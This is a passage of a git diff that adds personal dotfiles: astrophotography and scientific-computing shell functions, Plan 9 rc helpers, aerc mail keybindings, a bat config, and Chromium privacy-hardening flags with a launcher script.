"$i" -le "$count" ]; do + gphoto2 --capture-image-and-download --bulb "$exposure" \ + --filename "$outdir/lights/light_$(printf '%04d' $i).%C" + echo " Light $i/$count" + i=$((i + 1)) + done + echo "[*] Cover lens for darks. Press Enter..." + read _dummy + i=1; while [ "$i" -le "$darks" ]; do + gphoto2 --capture-image-and-download --bulb "$exposure" \ + --filename "$outdir/darks/dark_$(printf '%04d' $i).%C" + i=$((i + 1)) + done + echo "[+] Capture complete: $outdir" +} + +# organize calibration frames +organize_calibration() { + srcdir="${1:-.}" + mkdir -p lights darks flats biases + for f in "$srcdir"/*.fits "$srcdir"/*.FITS "$srcdir"/*.cr2 "$srcdir"/*.CR2 "$srcdir"/*.nef "$srcdir"/*.NEF; do + [ -f "$f" ] || continue + base=$(basename "$f" | tr '[:upper:]' '[:lower:]') + case "$base" in + *dark*) mv "$f" darks/ ;; *flat*) mv "$f" flats/ ;; + *bias*) mv "$f" biases/ ;; *) mv "$f" lights/ ;; + esac + done + echo "Organized: $(ls lights/ 2>/dev/null | wc -l) lights, $(ls darks/ 2>/dev/null | wc -l) darks, $(ls flats/ 2>/dev/null | wc -l) flats, $(ls biases/ 2>/dev/null | wc -l) biases" +} + +# plate solve with astrometry.net +plate_solve() { + image="$1"; ra="${2:-}"; dec="${3:-}"; radius="${4:-5}" + [ -z "$image" ] && { echo "Usage: plate_solve <image> [ra] [dec] [radius]"; return 1; } + opts="--overwrite --no-plots --downsample 2" + [ -n "$ra" ] && [ -n "$dec" ] && opts="$opts --ra $ra --dec $dec --radius $radius" + solve-field $opts "$image" +} + +# SiriL processing wrapper +siril_process() { + workdir="$1"; script="${2:-OSC_Preprocessing.ssf}" + [ -z "$workdir" ] && { echo "Usage: siril_process <workdir> [script]"; return 1; } + logfile="$workdir/siril_$(date +%Y%m%d_%H%M%S).log" + siril-cli -d "$workdir" -s "$script" 2>&1 | tee "$logfile" +} + +# FITS to PNG conversion +fits2png() { + fits="$1"; out="${2:-${fits%.fits}.png}" + convert "$fits" -normalize -depth 8 "$out" +} + +# star trails composite (lighten blend) +star_trails() { + dir="${1:-.}"; output="${2:-star_trails.tif}" + convert "$dir"/*.jpg -evaluate-sequence Max "$output" + echo "Star trails: $output" +} + +# start INDI server with common drivers +start_indi() { + case "${1:-full}" in + mount) drivers="indi_eqmod_telescope" ;; + camera) drivers="indi_asi_ccd" ;; + guide) drivers="indi_asi_ccd indi_gpsd" ;; + full) drivers="indi_eqmod_telescope indi_asi_ccd indi_asi_focuser indi_asi_wheel" ;; + *) drivers="$*" ;; + esac + echo "Starting INDI: $drivers" + indiserver -v $drivers & + echo "PID: $!" +} + +# ISS pass prediction +iss_passes() { + lat="${1:-40.7128}"; lon="${2:--74.0060}" + python3 -c " +from skyfield.api import load, wgs84 +ts = load.timescale() +sats = load.tle_file('https://celestrak.org/NORAD/elements/gp.php?CATNR=25544&FORMAT=TLE') +iss = sats[0] +loc = wgs84.latlon($lat, $lon) +t0 = ts.now(); t1 = ts.tt_jd(t0.tt + 7) +times, events = iss.find_events(loc, t0, t1, altitude_degrees=10.0) +for ti, event in zip(times, events): + name = ('rise', 'culminate', 'set')[event] + print(f'{ti.utc_strftime(\"%Y-%m-%d %H:%M:%S\")} {name}') +" 2>/dev/null +} + +# astronomy weather check +astro_weather() { + lat="${1:-40.71}"; lon="${2:--74.01}" + echo "=== Moon Phase ===" + curl -s "wttr.in/Moon" | head -25 + echo "" + echo "=== Conditions ===" + curl -s "wttr.in/${lat},${lon}?format=Humidity:+%h+|+Wind:+%w+|+Cloud:+%C+|+Pressure:+%P" 2>/dev/null + echo "" + echo "Clear Outside: https://clearoutside.com/forecast/${lat}/${lon}" +} + +# create photo session folder structure +new_session() { + name="${1:-$(date +%Y%m%d)_session}"; base="${2:-$HOME/Pictures}" + dir="$base/$name" + mkdir -p "$dir"/{RAW,JPEG,Selection,Edit,Export,Web} + echo "Session: $name\nDate: $(date +%Y-%m-%d)\nPhotographer: $(whoami)\nLocation:\nSubject:\nCamera:\nLens:\nNotes:" > "$dir/session_info.txt" + echo "Session created: $dir" +} + +# create astrophotography session folder +new_astro_session() { + target="${1:-unknown}"; date="${2:-$(date +%Y%m%d)}" + dir="$HOME/Astrophotography/${date}_${target}" + mkdir -p "$dir"/{lights,darks,flats,biases,processed,masters,result} + echo "Target: $target\nDate: $date\nTelescope:\nCamera:\nMount:\nFilter:\nExposure:\nISO/Gain:\nFrames:\nBortle:\nSeeing:\nNotes:" > "$dir/session_log.txt" + echo "Astro session: $dir" +} + +# rsync photo backup +photo_backup() { + src="${1:-$HOME/Pictures}"; dest="${2:-/mnt/nas/photos}" + logfile="$HOME/.photo_backup_$(date +%Y%m%d).log" + rsync -avhP --delete \ + --include='*.jpg' --include='*.jpeg' --include='*.png' \ + --include='*.cr2' --include='*.nef' --include='*.arw' \ + --include='*.dng' --include='*.tiff' --include='*.xmp' \ + --include='*.mp4' --include='*.mov' \ + --include='*/' --exclude='*' \ + "$src/" "$dest/" 2>&1 | tee "$logfile" +} + +# calculate print size from image dimensions +print_size() { + img="$1"; dpi="${2:-300}" + dims=$(identify -format "%wx%h" "$img") + w=$(echo "$dims" | cut -dx -f1); h=$(echo "$dims" | cut -dx -f2) + pw=$(echo "scale=2; $w / $dpi" | bc); ph=$(echo "scale=2; $h / $dpi" | bc) + echo "${img}: ${w}x${h}px at ${dpi}dpi = ${pw}x${ph} inches" +} diff --git a/.config/.mksh/sci.sh b/.config/.mksh/sci.sh new file mode 100644 index 0000000000000000000000000000000000000000..53462ee5192b72ebbda3dd425b25715447c3ef50 --- /dev/null +++ b/.config/.mksh/sci.sh @@ -0,0 +1,230 @@ +# sci -- scientific computing aliases and functions + +# ============================================================================ +# QUICK COMPUTATION +# ============================================================================ +alias q='qalc' +alias qc='qalc --terse' +alias oct='octave --quiet --eval' +alias bc='bc -l' + +# ============================================================================ +# CSV / DATA TOOLS +# ============================================================================ +alias cl='csvlook' +alias cs='csvstat' +alias mlc='mlr --csv' +alias mlj='mlr --json' +alias mlp='mlr --icsv --opprint' +alias dm='datamash' +alias dmh='datamash -H' + +# ============================================================================ +# PAPER MANAGEMENT (papis) +# ============================================================================ +alias pa='papis add --from arxiv' +alias pd='papis add --from doi' +alias po='papis open' +alias pe='papis edit' +alias pb='papis browse' + +# ============================================================================ +# arXiv +# ============================================================================ +alias arxs='arxiv-search' + +# ============================================================================ +# SLURM (if on cluster) +# ============================================================================ +alias sq='squeue -u $USER' +alias sqa='squeue -u $USER -o "%.8i %.9P %.30j %.2t %.10M %.6D %R"' + +# ============================================================================ +# FUNCTIONS +# ============================================================================ + +# calc -- python calculator with math imported +calc() { + python3 -c "from math import *; print($*)" +} + +# doi2bib -- DOI to BibTeX via content negotiation (zero dependencies) +doi2bib() { + curl -sLH "Accept: application/x-bibtex" "https://doi.org/$1" +} + +# doi2txt -- DOI to formatted citation +doi2txt() { + curl -sLH "Accept: text/x-bibliography; style=apa" "https://doi.org/$1" +} + +# arxdl -- download arXiv paper by ID +arxdl() { + typeset id="$1" + id="${id##*/abs/}" + id="${id%.pdf}" + python3 -c " +import arxiv +from urllib.request import urlretrieve +paper = next(arxiv.Client().results(arxiv.Search(id_list=['$id']))) +safe = ''.join(c if c.isalnum() or c in ' -_' else '' for c in paper.title)[:80] +fname = f'$id - {safe}.pdf' +urlretrieve(paper.pdf_url, fname) +print(f'Saved: {fname}') +" +} + +# s2search -- Semantic Scholar search +s2search() { + typeset query + query=$(echo "$*" | tr ' ' '+') + curl -s "https://api.semanticscholar.org/graph/v1/paper/search?query=$query&limit=10&fields=title,year,citationCount,url" | python3 -c " +import json, sys +data = json.load(sys.stdin) +for p in data.get('data', []): + print(f\"{p.get('citationCount',0):>6} {p.get('year','')} {p['title']}\") +" +} + +# s2related -- find related papers +s2related() { + python3 -c " +from semanticscholar import SemanticScholar +s = SemanticScholar() +recs = s.get_recommended_papers('$1') +for r in recs[:10]: + print(f'{r.citationCount:>6} {r.year} {r.title}') +" +} + +# matmul -- matrix multiply +matmul() { + python3 -c "import numpy as np; print(np.array($1) @ np.array($2))" +} + +# eig -- eigenvalues +eig() { + python3 -c " +import numpy as np +vals, vecs = np.linalg.eig(np.array($1)) +print('Eigenvalues:', vals) +" +} + +# det -- determinant +det() { + python3 -c "import numpy as np; print(np.linalg.det(np.array($1)))" +} + +# linsolve -- solve Ax=b +linsolve() { + python3 -c "import numpy as np; print(np.linalg.solve(np.array($1), np.array($2)))" +} + +# integrate -- numerical integration +integrate() { + python3 -c " +from scipy.integrate import quad +import numpy as np +result, error = quad(lambda x: $1, $2, $3) +print(f'Result: {result:.10f}') +print(f'Error: {error:.2e}') +" +} + +# fft -- FFT from stdin data +fft() { + python3 -c " +import numpy as np, sys +data = np.loadtxt(sys.stdin) +F = np.fft.rfft(data) +freq = np.fft.rfftfreq(len(data), d=1.0) +for f, a in zip(freq, np.abs(F)): + print(f'{f:.6f}\t{a:.6f}') +" +} + +# polyfit -- fit polynomial to two-column data from stdin +polyfit() { + typeset degree="${1:-2}" + python3 -c " +import numpy as np, sys +data = np.loadtxt(sys.stdin) +x, y = data[:,0], data[:,1] +coeffs = np.polyfit(x, y, $degree) +print('Coefficients:', coeffs) +p = np.poly1d(coeffs) +residuals = y - p(x) +print(f'R-squared: {1 - np.var(residuals)/np.var(y):.6f}') +" +} + +# tplot -- terminal plot from stdin +tplot() { + typeset title="${1:-Data}" + python3 -c " +import plotext as plt, sys +data = [float(l.strip()) for l in sys.stdin if l.strip()] +plt.plot(data) +plt.title('$title') +plt.show() +" +} + +# simbad -- look up astronomical object +simbad() { + typeset ident + ident=$(echo "$*" | tr ' ' '+') + curl -s "https://simbad.u-strasbg.fr/simbad/sim-id?Ident=$ident&output.format=ASCII" +} + +# apod -- NASA Astronomy Picture of the Day +apod() { + typeset apod_date="${1:-$(date +%Y-%m-%d)}" + curl -s "https://api.nasa.gov/planetary/apod?api_key=DEMO_KEY&date=$apod_date" | python3 -m json.tool +} + +# fitsstats -- FITS file statistics +fitsstats() { + python3 -c " +from astropy.io import fits +import numpy as np +data = fits.getdata('$1') +print(f'Shape: {data.shape}') +print(f'Min: {np.nanmin(data):.4f}') +print(f'Max: {np.nanmax(data):.4f}') +print(f'Mean: {np.nanmean(data):.4f}') +print(f'Std: {np.nanstd(data):.4f}') +" +} + +# nf -- find notes with fzf +nf() { + typeset notes_dir="${NOTES_DIR:-$HOME/notes}" + typeset file + file=$(find "$notes_dir" -name '*.md' -type f | \ + fzf --preview 'bat --color=always --style=numbers {}' \ + --preview-window=right:60%:wrap) + [[ -n $file ]] && $EDITOR "$file" +} + +# ns -- search note contents with fzf +ns() { + typeset notes_dir="${NOTES_DIR:-$HOME/notes}" + typeset match + match=$(rg --line-number --no-heading --color=always "$1" "$notes_dir" | \ + fzf --ansi --delimiter=: \ + --preview 'bat --color=always --highlight-line {2} {1}') + [[ -n $match ]] && $EDITOR "$(echo "$match" | cut -d: -f1)" +} + +# nn -- new timestamped note +nn() { + typeset notes_dir="${NOTES_DIR:-$HOME/notes}" + typeset id=$(date +%Y%m%d%H%M%S) + typeset title="${*:-Untitled}" + typeset slug=$(echo "$title" | tr '[:upper:]' '[:lower:]' | tr ' ' '-' | tr -cd 'a-z0-9-') + typeset file="$notes_dir/$id-$slug.md" + printf -- '---\ntitle: %s\ndate: %s\ntags: []\n---\n\n' "$title" "$(date +%Y-%m-%dT%H:%M:%S)" > "$file" + $EDITOR "$file" +} diff --git a/.config/.plan9/aliases.rc b/.config/.plan9/aliases.rc new file mode 100644 index 0000000000000000000000000000000000000000..cc58c305a8d5cf6396587dca02bc5e35194b8f2d --- /dev/null +++ b/.config/.plan9/aliases.rc @@ -0,0 +1,9 @@ +# Plan 9 rc shell aliases + +fn gs { git status -sb $* } +fn ga { git add $* } +fn gc { git commit $* } +fn gd { git diff $* } +fn gp { git push $* } +fn gl { git log --oneline -20 $* } +fn gf { git fetch --all --prune } diff --git a/.config/.plan9/functions.rc b/.config/.plan9/functions.rc new file mode 100644 index 0000000000000000000000000000000000000000..be07f896321a6b069361d824b01d4245879ebafa --- /dev/null +++ b/.config/.plan9/functions.rc @@ -0,0 +1,570 @@ +# Plan 9 rc shell functions + +# ============================================================================ +# acme +# ============================================================================ + +# B -- plumb files for editing +fn B { + wdir=`{pwd} + for(i in $*){ + if(! ~ $i /*) + i=$wdir/$i + plumb -s B -d edit $i + } +} + +# E -- edit file, wait for save +fn E { + if(! ~ $#* 1){ + echo usage: E file >[1=2] + exit usage + } + if(! test -e $1){ + echo E: $1: no such file >[1=2] + exit 'no file' + } + otm=`{mtime $1 | awk '{print $1}'} + B $1 + while(~ $otm `{mtime $1 | awk '{print $1}'}) + sleep 1 +} + +# awd -- update acme window label with cwd +fn awd { + if(test -f /dev/label){ + p=`{pwd} + echo -n $p/-$sysname > /dev/label >[2]/dev/null + } +} + +# ============================================================================ +# dev +# ============================================================================ + +# b -- build, install, clean cycle +fn b { + if(~ $#* 0) + mk install && mk clean + if not + for(d in $*) @{ + cd $d + mk install + mk clean + } +} + +# bt -- build and test +fn bt { + mk install && mk clean && { + if(test -d test) + mk test + if not if(test -f test.rc) + rc test.rc + } +} + +# fndef -- find C function definitions +fn fndef { + grep -rn '^'$1'(' ${2:-.} | grep -v '/\*' | grep '{' +} + +# callers -- find all call sites for a function +fn callers { + grep -rn $1'(' ${2:-.} | grep -v '^[^:]*:[^:]*:.*^'$1 +} + +# hdr -- find which header declares a function +fn hdr { + grep -rn $1 /sys/include /$objtype/include | head -10 +} + +# loc -- count lines of code +fn loc { + dir=${1:-.} + echo -n 'C: '; wc -l $dir/*.[ch] >[2]/dev/null | tail -1 + echo -n 'rc: '; wc -l $dir/*.rc >[2]/dev/null | tail -1 +} + +# longlines -- find lines over N columns +fn longlines { + n=${1:-80} + shift + for(f in $*) + awk 'length > '$n' {print FILENAME ":" NR ": " length " cols"}' $f +} + +# cleanws -- strip trailing whitespace +fn cleanws { + for(f in $*){ + sed 's/[ \t]*$//' $f >/tmp/cleanws.$pid + if(! cmp -s $f /tmp/cleanws.$pid) + cp /tmp/cleanws.$pid $f + rm -f /tmp/cleanws.$pid + } +} + +# tabcheck -- find files using spaces for indentation +fn tabcheck { + dir=${1:-.} + grep -rn '^ [^ *]' $dir/*.[ch] | head -20 +} + +# watch -- poll for changes and rebuild +fn watch { + last='' + while(){ + sig=`{ls -l *.[ch] mkfile | md5sum} + if(! ~ $"sig $"last){ + echo rebuilding... + mk install >[2=1] || echo BUILD FAILED + last=$sig + } + sleep 2 + } +} + +# ============================================================================ +# doc +# ============================================================================ + +# ms2pdf -- compile ms document to PDF +fn ms2pdf { + if(~ $#* 0){ + echo 'usage: ms2pdf input.ms [output.pdf]' >[1=2] + exit usage + } + input=$1 + if(~ $#* 1) + output=`{echo $input | sed 's/\.ms$/.pdf/'} + if not + output=$2 + pic $input | tbl | eqn | troff -ms | dpost | ps2pdf >$output +} + +# docview -- format and view a document +fn docview { + pic $1 | tbl | eqn | troff -ms | page +} + +# spellcheck -- check spelling in a troff document +fn spellcheck { + deroff $* | spell +} + +# spellctx -- misspelled words with context +fn spellctx { + misspelled=`{deroff $1 | spell} + for(word in $misspelled){ + echo '---' $word '---' + grep -n $word $1 + } +} + +# readlevel -- approximate reading level +fn readlevel { + if(~ $#* 0) + input=/fd/0 + if not + input=$1 + deroff $input | awk ' + { + for(i=1;i<=NF;i++){ + words++ + w=$i + gsub(/[^aeiouAEIOU]/,"",w) + if(length(w)==0) w="a" + syls+=length(w) + } + n=gsub(/[.!?]/,"&") + sents+=n + } + END{ + if(words==0||sents==0){print "insufficient text";exit} + fk=0.39*(words/sents)+11.8*(syls/words)-15.59 + printf "Words: %d\n",words + printf "Sentences: %d\n",sents + printf "Avg words/sentence: %.1f\n",words/sents + printf "Flesch-Kincaid Grade: %.1f\n",fk + }' +} + +# ============================================================================ +# file +# ============================================================================ + +# lc -- columnar listing +fn lc { + ls -pF $* | mc +} + +# ff -- find files by pattern +fn ff { + walk -f | grep $* +} + +# rgrep -- recursive grep +fn rgrep { + grep $* `{walk -f} +} + +# bigfiles -- find files over 100MB +fn bigfiles { + walk -f -esp | awk '$1>100000000' +} + +# today -- files modified today +fn today { + walk -emp | awk '$1>'^`{date -n}^'-(3600*12)' +} + +# dircp -- copy directory tree +fn dircp { + switch($#*){ + case 2 + @{builtin cd $1 && tar cif /fd/1 .} | @{builtin cd $2 && tar xTf /fd/0} + case * + echo usage: dircp from to >[1=2] + exit usage + } +} + +# runeinfo -- show bytes vs runes for files +fn runeinfo { + for(f in $*){ + bytes=`{wc -c <$f} + runes=`{wc -r <$f} + lines=`{wc -l <$f} + echo $f: $bytes bytes, $runes runes, $lines lines + } +} + +# ============================================================================ +# git +# ============================================================================ + +# smart git: no args = status +fn g { + if(~ $#* 0) + git status -sb + if not + git $* +} + +# jump to git root +fn gr { + cd `{git rev-parse --show-toplevel} +} + +# today's commits +fn gtoday { + git log --since=midnight --author=`{git config user.name} --oneline +} + +# show remote url +fn gurl { + git config --get remote.origin.url +} + +# interactive branch checkout (requires fzf) +fn gbr { + branch=`{git branch -a | sed 's/^..//' | fzf} + if(! ~ $#branch 0) + git checkout $branch +} + +# WIP commit +fn gwip { + git add -A + git commit -m 'WIP: '^`{date +%H:%M} +} + +# ============================================================================ +# nav +# ============================================================================ + +# mkdir + cd +fn mkd { + mkdir -p $1 + cd $1 +} + +# go up N directories +fn up { + n=$1 + if(~ $#n 0) n=1 + d='' + i=0 + while(test $i -lt $n){ + d=$d^../ + i=`{expr $i + 1} + } + cd $d +} + +# go to src directory or subdirectory +fn src { + if(~ $#* 0) + cd $home/src + if not + cd $home/src/$1 +} + +# ============================================================================ +# net +# ============================================================================ + +# doi2bib -- DOI to BibTeX +fn doi2bib { + hget -r 'Accept: application/x-bibtex' 'https://doi.org/'^$1 +} + +# webpaste -- paste text to pastebin +fn webpaste { + if(~ $#* 0) + file=/fd/0 + if not + file=$1 + hpost -u http://okturing.com -p / a_body@$file submit:submit fake:fake a_func:add_post url: | grep -e '/body"' | sed 1q | sed 's/^.*href="//g; s/body".*$/body/g' +} + +# ============================================================================ +# proc +# ============================================================================ + +# k -- kill processes by name (pipe output to rc to execute) +fn k { + for(i in $*){ + ps | sed -n '/^'$user' .* '$i'$/s%[^ ]* *%~>/proc/% + s% *.* (.*)%/note} # \1% + s%~%@{echo kill%p' + } +} + +# broke -- find broken processes +fn broke { + ps | sed -n '/^'$user' .* Broken/s%[^ ]* *%~>/proc/% + s% *.* (.*)%/ctl # \1% + s%~%echo kill%p' +} + +# psu -- processes for current user +fn psu { + ps | sed -n '/^'$user' /p' +} + +# who -- list logged-in users +fn who { + ps | sed '/Broken/d; /Exiting/d; s% .*$%%' | sort -u +} + +# ============================================================================ +# sam +# ============================================================================ + +# samrename -- rename variable safely (avoiding strings/comments) +fn samrename { + if(~ $#* 0 1 2){ + echo 'usage: samrename old new file' >[1=2] + exit usage + } + echo ',y/"[^"]*"/ y/''[^'']*''/ x/[a-zA-Z_0-9]+/ g/^'^$1^'$/ c/'^$2^'/ +w +q' | sam -d $3 +} + +# samextract -- extract all matches of a pattern +fn samextract { + echo ',x/'^$1^'/ p +q' | sam -d $2 +} + +# samindent -- indent every line by 4 spaces +fn samindent { + ssam ',x/.*\n/ s/^/ /' <$1 +} + +# samjoin -- join continuation lines (backslash-newline) +fn samjoin { + echo ',s/\\\n//g +w +q' | sam -d $1 +} + +# samtabs -- convert tabs to spaces +fn samtabs { + echo ',s/\t/ /g +w +q' | sam -d $1 +} + +# samurls -- extract all URLs from a file +fn samurls { + ssam -n ',x/https?:\/\/[^ \t\n<>"]+/ p' <$1 +} + +# samdups -- find doubled words +fn samdups { + ssam -n ',x/\b([a-zA-Z]+)[ \n]+\1\b/ p' <$1 +} + +# ============================================================================ +# text +# ============================================================================ + +# gsub -- global substitution across files +fn gsub { + if(~ $#* 0 1 2){ + echo 'usage: gsub old new files...' >[1=2] + exit usage + } + old=$1; new=$2; shift 2 + for(f in $*){ + echo ',s/'^$old^'/'^$new^'/g +w +q' | sam -d $f + } +} + +# delblank -- remove blank lines +fn delblank { + echo ',x/\n\n+/c/\n/ +w +q' | sam -d $1 +} + +# deltws -- delete trailing whitespace +fn deltws { + echo ',x/[ \t]+\n/ c/\n/ +w +q' | sam -d $1 +} + +# delcomments -- delete C-style block comments +fn delcomments { + echo ',s,/\*[^*]*\*+([^/*][^*]*\*+)*/,,g +w +q' | sam -d $1 +} + +# keeplines -- keep only lines matching pattern +fn keeplines { + echo ',x/.*\n/ v/'^$1^'/ d +w +q' | sam -d $2 +} + +# dellines -- delete lines matching pattern +fn dellines { + echo ',x/.*\n/ g/'^$1^'/ d +w +q' | sam -d $2 +} + +# extractpara -- extract paragraphs containing a word +fn extractpara { + echo ',x/(.+\n)+/ g/'^$1^'/ p +q' | sam -d $2 +} + +# revlines -- reverse line order +fn revlines { + echo ',x/.*\n/ m0 +w +q' | sam -d $1 +} + +# headings -- extract markdown headings +fn headings { + echo ',x/^#+.*\n/ p +q' | sam -d $1 +} + +# wordfreq -- word frequency count +fn wordfreq { + deroff $* | tr -cs 'a-zA-Z' '\n' | tr 'A-Z' 'a-z' | sort | uniq -c | sort -rn +} + +# vocabsize -- count unique words +fn vocabsize { + deroff $* | tr -cs 'a-zA-Z' '\n' | tr 'A-Z' 'a-z' | sort -u | wc -l +} + +# sentlen -- sentence length distribution +fn sentlen { + deroff $* | awk 'BEGIN{RS="[.!?]"} NF>0{print NF}' | sort -n | uniq -c | sort -rn +} + +# mswc -- manuscript word count (troff-aware) +fn mswc { + words=`{deroff $* | wc -w} + pages=`{echo $words / 250 | bc} + echo $words words, approximately $pages manuscript pages +} + +# ============================================================================ +# util +# ============================================================================ + +# extract archive (any format) +fn extract { + if(! test -f $1){ + echo ''''^$1^'''' is not a file + exit 'not a file' + } + switch($1){ + case *.tar.gz *.tgz + tar xzf $1 + case *.tar.bz2 *.tbz2 + tar xjf $1 + case *.tar.xz *.txz + tar xJf $1 + case *.tar + tar xf $1 + case *.gz + gunzip $1 + case *.bz2 + bunzip2 $1 + case *.xz + xz -d $1 + case *.zip + unzip $1 + case *.7z + 7z x $1 + case * + echo 'cannot extract '^$1 + } +} + +# file/dir size +fn fs { + du -sh $1 +} + +# quick HTTP server +fn serve { + port=$1 + if(~ $#port 0) port=8000 + echo 'Serving on http://localhost:'^$port + python3 -m http.server $port --bind 127.0.0.1 +} + +# clipboard (cross-platform) +fn clip { + if(whatis xclip >/dev/null >[2=1]) + xclip -selection clipboard + if not if(whatis pbcopy >/dev/null >[2=1]) + pbcopy + if not + echo 'no clipboard tool' +} + +# weather +fn wttr { + curl -s 'wttr.in/'^$1^'?format=v2' +} + +# command exists check +fn has { + whatis $1 >/dev/null >[2=1] +} diff --git a/.config/aerc/aerc-accounts.conf b/.config/aerc/aerc-accounts.conf new file mode 100644 index 0000000000000000000000000000000000000000..81d4a55a52114c8ab16b1ff349deb0494c8b6c6e --- /dev/null +++ b/.config/aerc/aerc-accounts.conf @@ -0,0 +1,19 @@ +# aerc accounts configuration +# Install: cp ~/dev/100x/configs/aerc-accounts.conf ~/.config/aerc/accounts.conf +# Then edit credentials. + +[Gmail] +source = imaps://user%40gmail.com@imap.gmail.com:993 +outgoing = /usr/bin/msmtp -a gmail +default = INBOX +from = Your Name <user@gmail.com> +copy-to = Sent +check-mail = 5m + +# For ProtonMail via Bridge (note: may mangle patches) +# [ProtonMail] +# source = imaps://user%40protonmail.com@127.0.0.1:1143 +# outgoing = /usr/bin/msmtp -a protonmail +# default = INBOX +# from = Your Name <user@protonmail.com> +# check-mail = 2m diff --git a/.config/aerc/aerc-binds.conf b/.config/aerc/aerc-binds.conf new file mode 100644 index 0000000000000000000000000000000000000000..1a7ed66e1de21cd21ab4b40e5b729506691f33b8 --- /dev/null +++ b/.config/aerc/aerc-binds.conf @@ -0,0 +1,41 @@ +# aerc keybindings for sr.ht patch workflow +# Install: cp ~/dev/100x/configs/aerc-binds.conf ~/.config/aerc/binds.conf + +[messages] +q = :quit<Enter> + +j = :next<Enter> +k = :prev<Enter> +J = :next-folder<Enter> +K = :prev-folder<Enter> +g = :select 0<Enter> +G = :select -1<Enter> + +<Enter> = :view<Enter> +d = :move Trash<Enter> +D = :delete<Enter> +a = :archive flat<Enter> + +C = :compose<Enter> +R = :reply -a<Enter> +r = :reply<Enter> + +# sr.ht patch workflow +ga = :pipe -m git am -3<Enter> +gA = :pipe -m git am -3 --signoff<Enter> +gp = :term git push<Enter> +gl = :term git log --oneline -20<Enter> +gd = :term git diff<Enter> + +# Mark patchset as applied (reply with header) +rt = :reply -Tthanks<Enter> + +[view] +q = :close<Enter> +| = :pipe<space> +f = :forward<Enter> +R = :reply -a<Enter> +r = :reply<Enter> + +# Apply patch from view +ga = :pipe -m git am -3<Enter> diff --git a/.config/aspell/aspell.conf b/.config/aspell/aspell.conf new file mode 100644 index 0000000000000000000000000000000000000000..c46a8cbfdccd42e52fa164e6e19e359b0d543fce --- /dev/null +++ b/.config/aspell/aspell.conf @@ -0,0 +1,2 @@ +lang en_US +mode markdown diff --git a/.config/bat/config b/.config/bat/config new file mode 100644 index 0000000000000000000000000000000000000000..4be69f7340122ea6b9ae5e00f24a85bf26b20ac7 --- /dev/null +++ b/.config/bat/config @@ -0,0 +1,14 @@ +# bat config -- 100x smart defaults +# Install: mkdir -p ~/.config/bat && ln -sf ~/dev/100x/configs/bat.conf ~/.config/bat/config + +# Use Dracula theme (matches delta config) +--theme="Dracula" + +# Show line numbers and git changes +--style="numbers,changes,header" + +# Use italic for comments +--italic-text=always + +# Pager settings +--pager="less -RF" diff --git a/.config/chromium/chromium-flags.conf b/.config/chromium/chromium-flags.conf new file mode 100644 index 0000000000000000000000000000000000000000..08452df8e2da8196e87adb6f6581e3a23422c012 --- /dev/null +++ b/.config/chromium/chromium-flags.conf @@ -0,0 +1,72 @@ +# ============================================================================ +# Chromium Hardened Flags -- Place at ~/.config/chromium-flags.conf +# Or launch: chromium $(cat ~/.config/chromium-flags.conf | tr '\n' ' ') +# ============================================================================ + +# --- PRIVACY / TELEMETRY --- +--disable-background-networking # no background network requests +--disable-breakpad # no crash reporting +--disable-client-side-phishing-detection # no Google phishing detection +--disable-default-apps # no default app installs +--disable-domain-reliability # no domain reliability monitoring +--disable-extensions-except="" # allow only whitelisted extensions +--disable-hang-monitor # no hang detection reporting +--disable-sync # no Google sync +--disable-translate # no Google Translate +--disable-wake-on-wifi # no WiFi wake +--no-pings # no hyperlink auditing pings +--no-first-run # no first-run wizard +--metrics-recording-only # record but dont send metrics + +# --- FINGERPRINTING --- +--disable-reading-from-canvas # block canvas fingerprinting +--disable-webgl # disable WebGL (fingerprint vector) +--disable-3d-apis # no 3D APIs +--disable-speech-api # no speech recognition +--disable-notifications # no push notifications + +# --- WEBRTC (IP leak prevention) --- +--disable-webrtc-hw-decoding # no WebRTC hardware decode +--disable-webrtc-hw-encoding # no WebRTC hardware encode +--enforce-webrtc-ip-permission-check # require permission for WebRTC IP +--webrtc-ip-handling-policy=disable_non_proxied_udp # prevent IP leaks + +# --- NETWORK --- +--disable-background-timer-throttling # no background throttling +--dns-over-https-mode=secure # force DNS over HTTPS +--dns-over-https-templates=https://dns.quad9.net/dns-query # Quad9 DoH + +# --- SECURITY --- +--disable-features=AutofillServerCommunication # no autofill server calls +--disable-features=MediaRouter # no Cast/media routing +--block-new-web-contents # block popups +--site-per-process # strict site isolation +--enable-strict-mixed-content-checking # block mixed content + +# --- PERFORMANCE --- +--process-per-site # one process per site +--disk-cache-size=52428800 # 50MB disk cache max + +# --- PROXY (uncomment one) --- +# --proxy-server="http://127.0.0.1:8080" # Burp Suite +# --proxy-server="socks5://127.0.0.1:9050" # Tor +# --proxy-auto-detect # auto-detect proxy + +# --- ADDITIONAL HARDENING (from Vanadium/ungoogled-chromium) --- +--disable-client-hints # disable UA Client Hints (fingerprint reduction) +--disable-crash-reporter # no crash data transmission +--disable-component-update # no background component updates +--disable-component-extensions-with-background-pages # no Google background extensions +--disable-domain-reliability # no domain reliability measurements to Google +--disable-external-intent-requests # block external intent requests +--disable-file-system # restrict FileSystem API access +--disable-hang-monitor # no hang detection reporting +--disable-speech-api # no speech recognition API +--deny-permission-prompts # deny all permission requests by default +--site-per-process # strict site isolation per origin +--enable-features=BlockInsecurePrivateNetworkRequests # block private network access from public sites +--enable-features=EncryptedClientHello # TLS 1.3 encrypted client hello + +# --- PENTESTING --- +--allow-insecure-localhost # allow insecure localhost +--ignore-certificate-errors-spki-list="" # for testing with self-signed certs diff --git a/.config/chromium/launch-hardened.sh b/.config/chromium/launch-hardened.sh new file mode 100755 index 0000000000000000000000000000000000000000..2d718da3d48f6223629038356527f505a2b6d7ff --- /dev/null +++ b/.config/chromium/launch-hardened.sh @@ -0,0 +1,44 @@ +#!/bin/sh +# launch-hardened.sh -- Launch Chromium with all hardening flags +# Usage: ./launch-hardened.sh [additional-args] + +CHROME_BIN="${CHROME_BIN:-/usr/bin/chromium}" + +exec "$CHROME_BIN" \ + --disable-background-networking \ + --disable-breakpad \ + --disable-crash-reporter \ + --disable-default-apps \ + --disable-extensions-file-access-check \ + --disable-webgl \ + --disable-3d-apis \ + --disable-reading-from-canvas \ + --disable-client-side-phishing-detection \ + --disable-client-hints \ + --disable-component-update \ + --disable-component-extensions-with-background-pages \ + --disable-domain-reliability \ + --disable-external-intent-requests \ + --disable-file-system \ + --disable-hang-monitor \ + --disable-speech-api \ + --disable-sync \ + --disable-translate \ + --disable-preconnect \ + --disable-notifications \ + --disable-webrtc-hw-decoding \ + --disable-webrtc-hw-encoding \ + --disable-blink-features=AutomationControlled \ + --deny-permission-prompts \ + --no-pings 